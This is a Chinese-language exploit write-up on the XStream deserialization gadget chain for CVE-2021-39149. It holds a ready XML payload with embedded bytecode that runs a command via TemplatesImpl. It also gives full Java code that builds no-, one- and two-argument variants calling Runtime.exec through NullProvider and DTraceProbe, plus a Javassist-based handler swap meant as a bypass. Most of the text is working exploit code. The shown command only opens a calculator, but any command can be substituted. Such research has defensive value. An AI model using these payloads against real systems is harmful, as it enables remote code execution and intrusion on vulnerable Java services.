0x01 简介 	Xstream的利用链都是很值得学习的,hessian的利用链基本都是照搬Xstream,在漏洞挖掘中碰到了xstream,发现了一个非常有意思的利用链,所以就学习下,随便进行扩展。
0x02 分析 CVE-2021-39149
xstream中非常值得学习的一条gadget。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 <map>   <entry>     <dynamic-proxy>       <interface>map</interface>       <interface>java.lang.Cloneable</interface>       <interface>java.io.Serializable</interface>       <handler class="com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl" >         <classToInvocationHandler class="linked-hash-map" />         <defaultHandler class="sun.tracing.NullProvider" >           <active>true </active>           <providerType>java.lang.Object</providerType>           <probes>             <entry>               <method>                 <class>java.lang.Object</class>                 <name>hashCode</name>                 <parameter-types/>               </method>               <sun.tracing.dtrace.DTraceProbe>                 <proxy class="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"  serialization="custom" >                   <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>                     <default >                       <__name>moresec197535764046369</__name>                       <__bytecodes>                         <byte -array>yv66vgAAADQAHAEABGNhbGMHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAKU291cmNlRmlsZQEACWNhbGMuamF2YQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHAAcBAAg8Y2xpbml0PgEAAygpVgEABENvZGUBABFqYXZhL2xhbmcvUnVudGltZQcADAEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMAA4ADwoADQAQAQASb3BlbiAtYSBjYWxjdWxhdG9yCAASAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAFAAVCgANABYBAA1TdGFja01hcFRhYmxlAQAGPGluaXQ+DAAZAAoKAAgAGgAhAAIACAAAAAAAAgAIAAkACgABAAsAAAAkAAMAAgAAAA+nAAMBTLgAERITtgAXV7EAAAABABgAAAADAAEDAAEAGQAKAAEACwAAABEAAQABAAAABSq3ABuxAAAAAAABAAUAAAACAAY=</byte -array>                       </__bytecodes>                       <__transletIndex>-1 </__transletIndex>                       <__indentNumber>0 </__indentNumber>                     </default >                     <boolean >false </boolean >                   </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>                 </proxy>                 <implementing__method>                   <class>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</class>                   <name>getOutputProperties</name>                   <parameter-types/>                 </implementing__method>               </sun.tracing.dtrace.DTraceProbe>             </entry>           </probes>         </defaultHandler>       </handler>     </dynamic-proxy>     <dynamic-proxy reference="../dynamic-proxy" />   </entry> </map>
 
从poc就可以分析主要通过动态代理了map类,使用的handler为CompositeInvocationHandlerImpl。
com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 public  class  CompositeInvocationHandlerImpl  implements      CompositeInvocationHandler  {     private  Map  classToInvocationHandler  =  new  LinkedHashMap () ;     private  InvocationHandler  defaultHandler  =  null  ; ...       public  Object invoke ( Object proxy, Method method, Object[] args )          throws  Throwable     {                           Class  cls  =  method.getDeclaringClass() ;         InvocationHandler  handler  =              (InvocationHandler)classToInvocationHandler.get( cls ) ;         if  (handler == null ) {             if  (defaultHandler != null )                 handler = defaultHandler ;             else  {                 ORBUtilSystemException  wrapper  =  ORBUtilSystemException.get(                     CORBALogDomains.UTIL ) ;                 throw  wrapper.noInvocationHandler( "\""  + method.toString() +                     "\""  ) ;             }         }         return  handler.invoke( proxy, method, args ) ;     }   ....
 
可以看到他有两个属性defaultHandler,classToInvocationHandler。他的invoke里面,先从classToInvocationHandler里面获取handler,获取不到就用defaultHandler,最后有调用了defaultHandler的invoker。
这里不就是标准的二次调用动态代理么,有点意思。 
sun.tracing.NullProvider 
1 2 3 4 5 6 7 8 9 10 class  NullProvider  extends  ProviderSkeleton  {     NullProvider(Class<? extends  Provider > type) {         super (type);     }     protected  ProbeSkeleton createProbe (Method m)  {         return  new  NullProbe (m.getParameterTypes());     } }
 
他没有invoker,进而调用父类sun.tracing.ProviderSkeleton的invoker方法,ProviderSkeleton他是一个抽象类。
它有四个子类,这里四个子类都没有实现invoker方法,所以这里四个只要没有active,providerType,probe 和父类一样的属性就可以拿来构造,因为本质是调用父类的invoker。查看后,其中sun.tracing.PrintStreamProvider,sun.tracing.NullProvider,sun.tracing.MultiplexProvider  可以拿来构造。
sun.tracing.ProviderSkeleton 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 public  abstract  class  ProviderSkeleton  implements  InvocationHandler , Provider {     protected  boolean  active;      protected  Class<? extends  Provider > providerType;      protected  HashMap<Method, ProbeSkeleton> probes;  ...       public  Object invoke (Object proxy, Method method, Object[] args)  {         Class  declaringClass  =  method.getDeclaringClass();                  if  (declaringClass != providerType) {             try  {                                                   if  (declaringClass == Provider.class ||                     declaringClass == Object.class) {                     return  method.invoke(this , args);                 } else  {                                                                                    throw  new  SecurityException ();                 }             } catch  (IllegalAccessException e) {                 assert  false ;             } catch  (InvocationTargetException e) {                 assert  false ;             }         } else  {             triggerProbe(method, args);         }         return  null ;     }   .....
 
前面判断一下代理类的是否属于(providerType)interface,不等于在判断,没什么用。我们主要就是要看另一个处理triggerProbe
sun.tracing.ProviderSkeleton#triggerProbe
1 2 3 4 5 6 7 8 9 protected  void  triggerProbe (Method method, Object[] args)  {     if  (active) {         ProbeSkeleton  p  =  probes.get(method);         if  (p != null ) {                          p.uncheckedTrigger(args);         }     } }
 
从probes获取ProbeSkeleton对象,然后调用uncheckedTrigger方法。probes,active都是feid,我们可以直接构造。
sun.tracing.ProbeSkeleton#uncheckedTrigger 
他是一个abstract,一共四个实现类
DTraceProbe可用,其余三个没有课利用的地方,
sun.tracing.dtrace.DTraceProbe#uncheckedTrigger
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 class  DTraceProbe  extends  ProbeSkeleton  {     private  Object proxy;     private  Method declared_method;     private  Method implementing_method;   ...         public  void  uncheckedTrigger (Object[] args)  {         try  {             implementing_method.invoke(proxy, args);         } catch  (IllegalAccessException e) {             assert  false ;         } catch  (InvocationTargetException e) {             assert  false ;         }     }   ....
 
可以看到这里implementing_method,proxy都是fied,我们可控,args是触发代理的方法的参数值,也可控,这样就完成反射调用。
通过以上分析,我们可以得出结论,classToInvocationHandler 是一个二次调用动态代理,也就是我们跳过它,直接设置代理类为sun.tracing.ProviderSkeleton 抽象类下面的四个实现类之一就行了,然后对feid修改,使其走到triggerProbe ,在触发DTraceProbe#uncheckedTrigger 完成调用。致于CompositeInvocationHandlerImpl ,完全可以留着以后二次进行绕过麻。同理CompositeInvocationHandlerImpl , 他也有一个实现类CustomCompositeInvocationHandlerImpl ,没有实现invoker,必要时也可用CustomCompositeInvocationHandlerImpl 来触发二次次动态代理。
他们继承ser接口,说不定在某些时候可以有在jdk gadget用上。
0x03  构造利用链 无参数(map触发) 本质就是动态代理触发,入口第一时间就能效果到map类,map在反序列化时会进行hash计算触发hashcode,
所以非常简单就能构造出来。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42         ClassPool  pool  =  ClassPool.getDefault();         CtClass  ctClass  =  pool.makeClass("calc" );         ctClass.setSuperclass(pool.getCtClass(AbstractTranslet.class.getName()));         ctClass.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"open -a calculator\");" );         byte [] bytecode = ctClass.toBytecode();         TemplatesImpl  teml  =  utils.getTeml(bytecode);         Object  dTraceProbe  =  instaniateUnsafe().allocateInstance(Class.forName("sun.tracing.dtrace.DTraceProbe" ));         Method  method_getOutputProperties  =   Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" ).getDeclaredMethod("getOutputProperties" );         setField("proxy" , dTraceProbe, teml);         setField("implementing_method" , dTraceProbe, method_getOutputProperties);         HashMap  map  =  new  HashMap ();         Method  method_hashcode  =   Class.forName("java.lang.Object" ).getDeclaredMethod("hashCode" );         map.put(method_hashcode, dTraceProbe);         InvocationHandler  nullProvider  =  (InvocationHandler) instaniateUnsafe().allocateInstance(Class.forName("sun.tracing.NullProvider" ));         setField("active" , nullProvider, true );         setField("providerType" , nullProvider, Class.forName("java.lang.Object" ));         setField("probes" , nullProvider, map);         Object  proxy  =  Proxy.newProxyInstance(                 nullProvider.getClass().getClassLoader(),                 new  HashMap ().getClass().getInterfaces(),                 nullProvider);         HashMap  s  =  new  HashMap ();         utils.setFieldValue(s, "size" , 1 );         Class nodeC;         try  {             nodeC = Class.forName("java.util.HashMap$Node" );         } catch  (ClassNotFoundException e) {             nodeC = Class.forName("java.util.HashMap$Entry" );         }         Constructor  nodeCons  =  nodeC.getDeclaredConstructor(int .class, Object.class, Object.class, nodeC);         nodeCons.setAccessible(true );         Object  tbl  =  Array.newInstance(nodeC, 1 );         Array.set(tbl, 0 , nodeCons.newInstance(0 , proxy, proxy, null ));         utils.setFieldValue(s, "table" , tbl);
 
这样我们就行调用任意类的无参数方法类。
一个参数(PriorityQueue触发) 那要是我们想调用一个有参数方法了,满足的入口类,很容易就想到了优先队列的queue的触发compareTo,接口java.lang.Comparable 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27         Object  dTraceProbe  =  utils.createWithoutConstructor("sun.tracing.dtrace.DTraceProbe" );         Method  exec  =  Runtime.class.getMethod("exec" , String.class);         utils.setFieldValue(dTraceProbe,"proxy" , Runtime.getRuntime());         utils.setFieldValue(dTraceProbe,"implementing_method" , exec);         HashMap  map  =  new  HashMap ();         Method  method  =  Comparable.class.getMethod("compareTo" , Object.class);         map.put(method, dTraceProbe);         InvocationHandler  handler  =  (InvocationHandler) utils.createWithoutConstructor("sun.tracing.NullProvider" );         Object  proxy  =  Proxy.newProxyInstance(                 handler.getClass().getClassLoader(),                 new  Class []{Comparable.class},                 handler);         utils.setFieldValue(handler,"active" , true );         utils.setFieldValue(handler, "providerType" ,Class.forName(Comparable.class.getName()));         utils.setFieldValue(handler, "probes" , map);         PriorityQueue  queue  =  new  PriorityQueue (1  );         utils.setFieldValue(queue, "size" , 2 );                  utils.setFieldValue(queue, "queue" , new  Object []{proxy,"open -a calculator" }); 
 
两个参数(PriorityQueue触发) 一个参数的方法我们不满足,我们想触发两个有参数的方法,还是优先队列的queue的触发compare,java.util.Comparator 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 Object  dTraceProbe  =  utils.createWithoutConstructor("sun.tracing.dtrace.DTraceProbe" );  Method  exec  =  Runtime.class.getMethod("exec" , String.class, String[].class);  utils.setFieldValue(dTraceProbe,"proxy" , Runtime.getRuntime());  utils.setFieldValue(dTraceProbe,"implementing_method" , exec);  HashMap  map  =  new  HashMap ();  Method  method  =  Comparator.class.getMethod("compare" , Object.class, Object.class);  map.put(method, dTraceProbe);  InvocationHandler  handler  =  (InvocationHandler) utils.createWithoutConstructor("sun.tracing.NullProvider" );  Object  proxy  =  Proxy.newProxyInstance(          handler.getClass().getClassLoader(),          new  Class []{Comparator.class},          handler);  utils.setFieldValue(handler,"active" , true );  utils.setFieldValue(handler, "providerType" ,Class.forName(Comparator.class.getName()));  utils.setFieldValue(handler, "probes" , map);  PriorityQueue  queue  =  new  PriorityQueue (new  AttrCompare () );  utils.setFieldValue(queue, "size" , 2 );    utils.setFieldValue(queue, "queue" , new  Object []{"open -a calculator" ,null });  utils.setFieldValue(queue, "comparator" , proxy);  
 
然后就是各种实现类的替换,来进行绕过了, 虽然也不用, 思路就是这个思路哦
二次代理替换(没什么用,因为fied也会进行序列化,绕过不过resolver检查 ) CustomCompositeInvocationHandlerImpl  来替换二次, 
这个类有个stub 属性,不好赋值,直接暴力替换字符即可。
或者使用javasist删除fied,和对应的方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64     try  {         ClassPool  pool1  =  ClassPool.getDefault();         CtClass  CustomCompositeInvocationHandlerImpl  =  pool1.get("com.sun.corba.se.impl.presentation.rmi.InvocationHandlerFactoryImpl$CustomCompositeInvocationHandlerImpl" );         CtField  stub  =  CustomCompositeInvocationHandlerImpl.getDeclaredField("stub" );         CustomCompositeInvocationHandlerImpl.removeField(stub);         for  (CtMethod declaredMethod : CustomCompositeInvocationHandlerImpl.getDeclaredMethods()) {             if  (declaredMethod.getName().equals("setProxy" )||declaredMethod.getName().equals("getProxy" )) {                 CustomCompositeInvocationHandlerImpl.removeMethod(declaredMethod);             }         }         for  (CtMethod method : CustomCompositeInvocationHandlerImpl.getMethods()) {             if  (method.getName().equals("CustomCompositeInvocationHandlerImpl" )||method.getName().equals("writeReplace" )) {                 CustomCompositeInvocationHandlerImpl.removeMethod(method);             }         }         CustomCompositeInvocationHandlerImpl.toClass();     } catch  (Exception e) {     }     ClassPool  pool  =  ClassPool.getDefault();     CtClass  ctClass  =  pool.makeClass("calc" );     ctClass.setSuperclass(pool.getCtClass(AbstractTranslet.class.getName()));     ctClass.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"open -a calculator\");" );     byte [] bytecode = ctClass.toBytecode();     TemplatesImpl  teml  =  utils.getTeml(bytecode);     Object  dTraceProbe  =  instaniateUnsafe().allocateInstance(Class.forName("sun.tracing.dtrace.DTraceProbe" ));     Method  method_getOutputProperties  =   Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" ).getDeclaredMethod("getOutputProperties" );     setField("proxy" , dTraceProbe, teml);     setField("implementing_method" , dTraceProbe, method_getOutputProperties);     HashMap  map  =  new  HashMap ();     Method  method_hashcode  =   Class.forName("java.lang.Object" ).getDeclaredMethod("hashCode" );     map.put(method_hashcode, dTraceProbe);     Object  nullProvider  =  instaniateUnsafe().allocateInstance(Class.forName("sun.tracing.NullProvider" ));     setField("active" , nullProvider, true );     setField("providerType" , nullProvider, Class.forName("java.lang.Object" ));     setField("probes" , nullProvider, map);     InvocationHandler  handler  =  (InvocationHandler) instaniateUnsafe().allocateInstance(Class.forName("com.sun.corba.se.impl.presentation.rmi.InvocationHandlerFactoryImpl$CustomCompositeInvocationHandlerImpl" ));     Object  proxy  =  Proxy.newProxyInstance(             handler.getClass().getClassLoader(),             new  HashMap ().getClass().getInterfaces(),             handler);     utils.setFieldValue(handler, "defaultHandler" , nullProvider);     utils.setFieldValue(handler, "classToInvocationHandler" , new  LinkedHashMap ());     HashMap  s  =  new  HashMap ();     utils.setFieldValue(s, "size" , 1 );     Class nodeC;     try  {         nodeC = Class.forName("java.util.HashMap$Node" );     } catch  (ClassNotFoundException e) {         nodeC = Class.forName("java.util.HashMap$Entry" );     }     Constructor  nodeCons  =  nodeC.getDeclaredConstructor(int .class, Object.class, Object.class, nodeC);     nodeCons.setAccessible(true );     Object  tbl  =  Array.newInstance(nodeC, 1 );     Array.set(tbl, 0 , nodeCons.newInstance(0 , proxy, proxy, null ));     utils.setFieldValue(s, "table" , tbl);
 
0x04 总结 **com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl **以及子类  一个二次调用动态代理的类,继承Serializable。
说不定能用上。
任意类无参数到两个参数 利用链的构造。
Reference https://xz.aliyun.com/t/10360